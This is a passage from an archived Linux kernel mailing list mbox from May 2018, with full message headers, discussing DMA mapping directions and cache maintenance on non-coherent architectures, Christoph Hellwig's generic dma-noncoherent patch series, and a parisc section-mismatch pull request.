        "linux-xtensa@linux-xtensa.org" <linux-xtensa@linux-xtensa.org>,
        "monstr@monstr.eu" <monstr@monstr.eu>,
        "deanbo422@gmail.com" <deanbo422@gmail.com>,
        "linux-c6x-dev@linux-c6x.org" <linux-c6x-dev@linux-c6x.org>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
        "linux-sh@vger.kernel.org" <linux-sh@vger.kernel.org>,
        "linux-m68k@lists.linux-m68k.org" <linux-m68k@lists.linux-m68k.org>,
        "linux-hexagon@vger.kernel.org" <linux-hexagon@vger.kernel.org>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        "linux-mm@kvack.org" <linux-mm@kvack.org>,
        "iommu@lists.linux-foundation.org" <iommu@lists.linux-foundation.org>,
        "openrisc@lis
To: Vineet Gupta <Vineet.Gupta1@synopsys.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri May 18 23:53:59 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fJnK1-0000oU-Gy
	for glk-linux-kernel-4@m.gmane.org; Fri, 18 May 2018 23:53:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752201AbeERV4G (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 18 May 2018 17:56:06 -0400
Original-Received: from pandora.armlinux.org.uk ([78.32.30.218]:54836 "EHLO
        pandora.armlinux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751458AbeERV4C (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 18 May 2018 17:56:02 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=armlinux.org.uk; s=pandora-2014; h=Sender:In-Reply-To:
        Content-Transfer-Encoding:Content-Type:MIME-Version:References:Message-ID:
        Subject:Cc:To:From:Date:Reply-To:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=YeH6iKSTcFyVKryKyev7q2vPwoXgmSMUa/5s6+wfddQ=; b=glGgdr24duEvLrGz6gMDXiKT/
        snPHPDe9wIr8QXRupiA5u3yd4LYPGlE6BrYgjOu4cdm3eJJi0MXMfOJ1TqtbykoyAe+tSN7KsE8Ql
        b2pVRT00WduEAdANOVu142CwMxUtaVx3HKXCUSLTFOhEqihHDY8xFZp69kO68WasXaxx4=;
Original-Received: from n2100.armlinux.org.uk ([fd8f:7570:feb6:1:214:fdff:fe10:4f86]:46510)
        by pandora.armlinux.org.uk with esmtpsa (TLSv1.2:ECDHE-RSA-AES128-GCM-SHA256:128)
        (Exim 4.90_1)
        (envelope-from <linux@armlinux.org.uk>)
        id 1fJnLt-0000FF-3a; Fri, 18 May 2018 22:55:53 +0100
Original-Received: from linux by n2100.armlinux.org.uk with local (Exim 4.90_1)
        (envelope-from <linux@n2100.armlinux.org.uk>)
        id 1fJnLp-000209-Vd; Fri, 18 May 2018 22:55:50 +0100
Content-Disposition: inline
In-Reply-To: <cecfe6bd-ef1f-1e25-bfcf-992d1f828efb@synopsys.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2771476 gmane.linux.kernel.cross-arch:44273 gmane.linux.ports.parisc:28633 gmane.linux.ports.sh.devel:57052 gmane.linux.ports.hexagon:1740 gmane.linux.kernel.mm:196000 gmane.linux.kernel.iommu:24418 gmane.linux.ports.alpha:5061 gmane.linux.ports.sparc:27889 gmane.linux.kernel.arc:3915 gmane.linux.ports.arm.kernel:651464
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2771476>

On Fri, May 18, 2018 at 01:35:08PM -0700, Vineet Gupta wrote:
> On 05/18/2018 10:50 AM, Russell King - ARM Linux wrote:
> >On Fri, May 18, 2018 at 10:20:02AM -0700, Vineet Gupta wrote:
> >>I never understood the need for this direction. And if memory serves me
> >>right, at that time I was seeing twice the amount of cache flushing !
> >It's necessary.  Take a moment to think carefully about this:
> >
> >	dma_map_single(, dir)
> >
> >	dma_sync_single_for_cpu(, dir)
> >
> >	dma_sync_single_for_device(, dir)
> >
> >	dma_unmap_single(, dir)
> 
> As an aside, do these imply a state machine of sorts - does a driver needs
> to always call map_single first ?

Kind-of, but some drivers do omit some of the dma_sync_*() calls.
For example, if a buffer is written to, then mapped with TO_DEVICE,
and then the CPU wishes to write to it, it's fairly common that a
driver omits the dma_sync_single_for_cpu() call.  If you think about
the cases I gave and what cache operations happen, such a scenario
practically turns out to be safe.

> My original point of contention/confusion is the specific combinations of
> API and direction, specifically for_cpu(TO_DEV) and for_device(TO_CPU)

Remember that it is expected that all calls for a mapping use the
same direction argument while that mapping exists.  In other words,
if you call dma_map_single(TO_DEVICE) and then use any of the other
functions, the other functions will also use TO_DEVICE.  The DMA
direction argument describes the direction of the DMA operation
being performed on the buffer, not on the individual dma_* operation.

What isn't expected at arch level is for drivers to do:

	dma_map_single(TO_DEVICE)
	dma_sync_single_for_cpu(FROM_DEVICE)

or vice versa.

> Semantically what does dma_sync_single_for_cpu(TO_DEV) even imply for a non
> dma coherent arch.
> 
> Your tables below have "none" for both, implying it is unlikely to be a real
> combination (for ARM and ARC atleast).

Very little for the cases that I've stated (and as I mentioned
above, some drivers do omit the call in that case.)

> The other case, actually @dir TO_CPU, independent of for_{cpu, device}
> implies driver intends to touch it after the call, so it would invalidate
> any stray lines, unconditionally (and not just for speculative prefetch
> case).

If you don't have a CPU that speculatively prefetches, and you've
already had to invalidate the cache lines (to avoid write-backs
corrupting DMA'd data) then there's no need for the architecture
to do any work at the for_cpu(TO_CPU) case - the CPU shouldn't
be touching cache lines that are part of the buffer while it is
mapped, which means a non-speculating CPU won't pull in any
cache lines without an explicit access.

Speculating CPUs are different.  The action of the speculation is
to try and guess what data the program wants to access ahead of
the program flow.  That causes the CPU to prefetch data into the
cache.  The point in the program flow that this happens is not
really determinant to the programmer.  This means that if you try
to read from the DMA buffer after the DMA operation has complete
without invalidating the cache between the DMA completing and the
CPU reading, you have no guarantee that you're reading the data
that the DMA operation has been written.  The cache may have
loaded itself with data before the DMA operation completed, and
the CPU may see that stale data.

The difference between non-speculating CPUs and speculating CPUs
is that for non-speculating CPUs, caches work according to explicit
accesses by the program, and the program is stalled while the data
is fetched from external memory.  Speculating CPUs try to predict
ahead of time what data the program will require in the future,
and attempt to load that data into the caches _before_ the program
requires it - which means that the program suffers fewer stalls.

> >In the case of a DMA-incoherent architecture, the operations done at each
> >stage depend on the direction argument:
> >
> >	map		for_cpu		for_device	unmap
> >TO_DEV	writeback	none		writeback	none
> >TO_CPU	invalidate	invalidate*	invalidate	invalidate*
> >BIDIR	writeback	invalidate	writeback	invalidate
> >
> >* - only necessary if the CPU speculatively prefetches.
> >
> >The multiple invalidations for the TO_CPU case handles different
> >conditions that can result in data corruption, and for some CPUs, all
> >four are necessary.
> 
> Can you please explain in some more detail, TO_CPU row, why invalidate is
> conditional sometimes.

See above - I hope my explanation above is sufficient.

-- 
RMK's Patch system: http://www.armlinux.org.uk/developer/patches/
FTTC broadband for 0.8mile line in suburbia: sync at 8.8Mbps down 630kbps up
According to speedtest.net: 8.21Mbps down 510kbps up


From - Thu Nov 08 21:41:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "hch-jcswGhMUV9g@public.gmane.org" <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH 02/20] dma-mapping: provide a generic dma-noncoherent
	implementation
Date: Sat, 19 May 2018 08:38:57 +0200
Lines: 8
Approved: news@gmane.org
Message-ID: <20180519063857.GA18076@lst.de>
References: <20180511075945.16548-1-hch@lst.de>
	<20180511075945.16548-3-hch@lst.de>
	<bad125dff49f6e49c895e818c9d1abb346a46e8e.camel@synopsys.com>
	<0c5d27e9-2799-eb38-8b09-47a04c48b5c7@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526711525 28062 195.159.176.226 (19 May 2018 06:32:05 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 19 May 2018 06:32:05 +0000 (UTC)
User-Agent: Mutt/1.5.17 (2007-11-01)
Cc: "linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org" <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, "linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org"
	<linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org>,
	"linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org" <linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org>,
	"linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	Alexey Brodkin <Alexey.Brodkin-HKixBCOQz3hWk0Htik3J/w@public.gmane.org>,
	"linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org" <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>,
	James Bottomley <James.Bottomley-d9PhHud1JfjCXq6kfMZ53/egYHeGw8Jk@public.gmane.org>,
	"linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org" <linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org>,
	"openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org" <openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org>,
	"green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org" <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	"linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-alpha-u79uwXL29TY@public.gmane.org
To: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Sat May 19 08:32:00 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fJvPL-0007AA-AJ
	for glki-iommu@m.gmane.org; Sat, 19 May 2018 08:31:59 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 4278FCCB;
	Sat, 19 May 2018 06:34:10 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 5075749D
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Sat, 19 May 2018 06:34:09 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from newverein.lst.de (verein.lst.de [213.95.11.211])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id EBE5FB0
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Sat, 19 May 2018 06:34:08 +0000 (UTC)
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
	id A0B777F016; Sat, 19 May 2018 08:38:57 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <0c5d27e9-2799-eb38-8b09-47a04c48b5c7-Mmb7MZpHnFY@public.gmane.org>
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24422 gmane.linux.kernel.cross-arch:44274 gmane.linux.kernel.arc:3917 gmane.linux.ports.parisc:28634 gmane.linux.ports.sh.devel:57053 gmane.linux.ports.hexagon:1741 gmane.linux.kernel:2771579 gmane.linux.ports.alpha:5062 gmane.linux.ports.sparc:27890 gmane.linux.ports.arm.kernel:651477
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24422>

On Fri, May 18, 2018 at 10:05:51PM +0200, Helge Deller wrote:
> This patch seems to fix the dma issues I faced on my 32bit B160L parisc box.
> 
> So it leaves only one open issue on parisc:
> Now every 32 bit parisc system is unnecessarily non-coherent.

I diagree with those comments, let me resend the refactored patch
to make it more clear.

From - Thu Nov 08 21:41:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [GIT PULL] parisc section mismatch fixes for 4.17-rc6
Date: Sun, 20 May 2018 21:34:14 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <20180520193414.GA6452@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1526844752 7159 195.159.176.226 (20 May 2018 19:32:32 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 20 May 2018 19:32:32 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Sun May 20 21:32:28 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fKU4B-0001jj-GA
	for glk-linux-kernel-4@m.gmane.org; Sun, 20 May 2018 21:32:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751514AbeETTed (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sun, 20 May 2018 15:34:33 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:51585 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751045AbeETTea (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Sun, 20 May 2018 15:34:30 -0400
Original-Received: from ls3530.fritz.box ([89.247.38.74]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MA9FV-1fVEWZ3dm5-00BHZI; Sun, 20
 May 2018 21:34:18 +0200
Content-Disposition: inline
X-Provags-ID: V03:K1:K580FVMUduzHMaL2Zk2oW54h55GctiFCkPDgk3WW5NKgOyVnYxw
 l5DFLW0DDwwAywS8EaBh6mgdSHR/9Czc60GbfoU4ugJjjLcEacmji0GG313wmNiBzaWX/a4
 5QHvb79I9qT9xsTVcOnUeggsvZmgcgsFQer8o9Psbx4s9RX5hXofaI2hhKmb+CvNx5tHwGG
 SvmLWdY3Okyn+cK7tBvKQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Hz7hD2meMfM=:oqadR6g8NBrRQvjc+cq4LM
 1gRX1WgnFbcLkKkexeUoy2uOtvQd+6qx8QWLRafgWl5h0O10aKceHf/qGFtbJdopVCbsJRvSU
 OnLb2aUqG+iUR5pEFd8ovw7GO8OHWPrxQRyBS5LytMDh3WFqupIegTHfC39+BmqlkjghtpU6v
 kFv3OwHh9UycF9/iNuxvrMDxcMVDhqDixFxpBfsNur17IJlKWZHGBDSsr/mYFKhBvMYl53DEW
 mDBRBe3ykMAxWaai2g5vgGKj8WcGMyYWesGQ/t05JazkYlmuMMATq7bTG2SYdTQH18lpRh0zF
 dEDONFgR7Yh5MTg6gZPjqLHBFw5HhQTsQyGfJsaTCzyl3WXTC1ll32klOieZZX5kEYWYSWd8U
 xOmW7tdrV3d8oKhbiJo094PUHnjOF0wd970BfGTS7DyJPiPgmf4esn/VdINZkX8noA62aB6DP
 zoilphVl3Wmi6rRLUExSNdB8RAgTP2jWwBgLkffe7d6tIOOSUf/zZK9qwVXLSYdfJ7gz0+1Ue
 Y1KAHRGNf3cGulUy2jAMuuIfMub303KGQcHeqc5CKO9lZ3Uwd4mZXGcgDwJkfIwFozslLDELK
 xVqj4hvfY1UikGjb81WZY5X5Yj4kJoLOdCjR5HBeMxTWgb50tnW/5MR1/4TfjLj6rY89HyPfQ
 E0p99zhputNoolLy2uMqyICrnW/iVwNSXN7rNnC3idN4z46LwjzVbRPIV5S7Qj+vXP6hbYqyW
 qWCbOq3UfSHZYW8ZO8xp2daHbGT8Ullh6hekgo43m0SAAFJWV6mwOfxKwIQ=
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2771997 gmane.linux.ports.parisc:28635
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2771997>

Hi Linus,

please pull three small section mismatch fixes for the parisc architecture from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.17-5

Three small section mismatch fixes, one of them was found by 0-day test
infrastructure.

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (3):
      parisc: Move find_pa_parent_type() out of init section
      parisc: Move setup_profiling_timer() out of init section
      parisc: Move ccio_cujo20_fixup() into init section

 arch/parisc/kernel/drivers.c | 2 +-
 arch/parisc/kernel/smp.c     | 3 +--
 drivers/parisc/ccio-dma.c    | 2 +-
 3 files changed, 3 insertions(+), 4 deletions(-)


From - Thu Nov 08 21:41:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH 04/20] arm-nommu: use generic dma_noncoherent_ops
Date: Tue, 22 May 2018 13:53:20 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <20180522115320.GA14530@lst.de>
References: <20180511075945.16548-1-hch@lst.de>
	<20180511075945.16548-5-hch@lst.de>
	<20180511091114.GA16141@n2100.armlinux.org.uk>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526989566 11083 195.159.176.226 (22 May 2018 11:46:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 22 May 2018 11:46:06 +0000 (UTC)
User-Agent: Mutt/1.5.17 (2007-11-01)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org,
	openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org, Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org, Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: Russell King - ARM Linux <linux-I+IVW8TIWO2tmTQ+vhA3Yw@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Tue May 22 13:46:00 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fL5jp-0002gZ-Q8
	for glki-iommu@m.gmane.org; Tue, 22 May 2018 13:45:58 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 15D14305;
	Tue, 22 May 2018 11:48:08 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 90A8329
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue, 22 May 2018 11:48:06 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from newverein.lst.de (verein.lst.de [213.95.11.211])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 18C276C7
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue, 22 May 2018 11:48:05 +0000 (UTC)
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
	id 946FE68C7A; Tue, 22 May 2018 13:53:20 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20180511091114.GA16141-l+eeeJia6m9URfEZ8mYm6t73F7V6hmMc@public.gmane.org>
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24472 gmane.linux.kernel.cross-arch:44283 gmane.linux.kernel.arc:3919 gmane.linux.ports.parisc:28636 gmane.linux.ports.sh.devel:57054 gmane.linux.ports.hexagon:1742 gmane.linux.kernel:2773730 gmane.linux.ports.alpha:5063 gmane.linux.ports.sparc:27891 gmane.linux.ports.arm.kernel:651996
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24472>

On Fri, May 11, 2018 at 10:11:15AM +0100, Russell King - ARM Linux wrote:
> > +void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
> > +		size_t size, enum dma_data_direction dir)
> 
> Please no.  There is a lot of history of these (__dma_page_cpu_to_dev etc)
> functions being abused by out of tree drivers, because they think they
> know better.  This is stopped by making them static and ensuring that
> drivers have no access to these functions.
> 
> Please do not re-expose these to the global kernel.
> 
> While it may make things easier for a cross-architecture point of view,
> it makes it a lot easier for people to abuse these private APIs.

The point of this series, which isn't fully archived yet, is to
consolidate the direct mapping dma code, that is all dma_map_ops
instances except for iommus.  It is in fact in many ways modelled
after the ARM code.  For that we need the architectures to supply
the cache maintainance routines.

However, even if they now appear in dma-noncoherent.h they are NOT
and will NOT be exported, so using them directly from drivers won't
easily be possible.

I'll drop the arm-nommu patch for now, but I will pester your with this
again once arm is the last architecture not sharing the common code.

> 
> -- 
> RMK's Patch system: http://www.armlinux.org.uk/developer/patches/
> FTTC broadband for 0.8mile line in suburbia: sync at 8.8Mbps down 630kbps up
> According to speedtest.net: 8.21Mbps down 510kbps up
---end quoted text---

From - Thu Nov 08 21:41:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: common non-cache coherent direct dma mapping ops v2
Date: Tue, 22 May 2018 14:04:05 +0200
Lines: 40
Approved: news@gmane.org
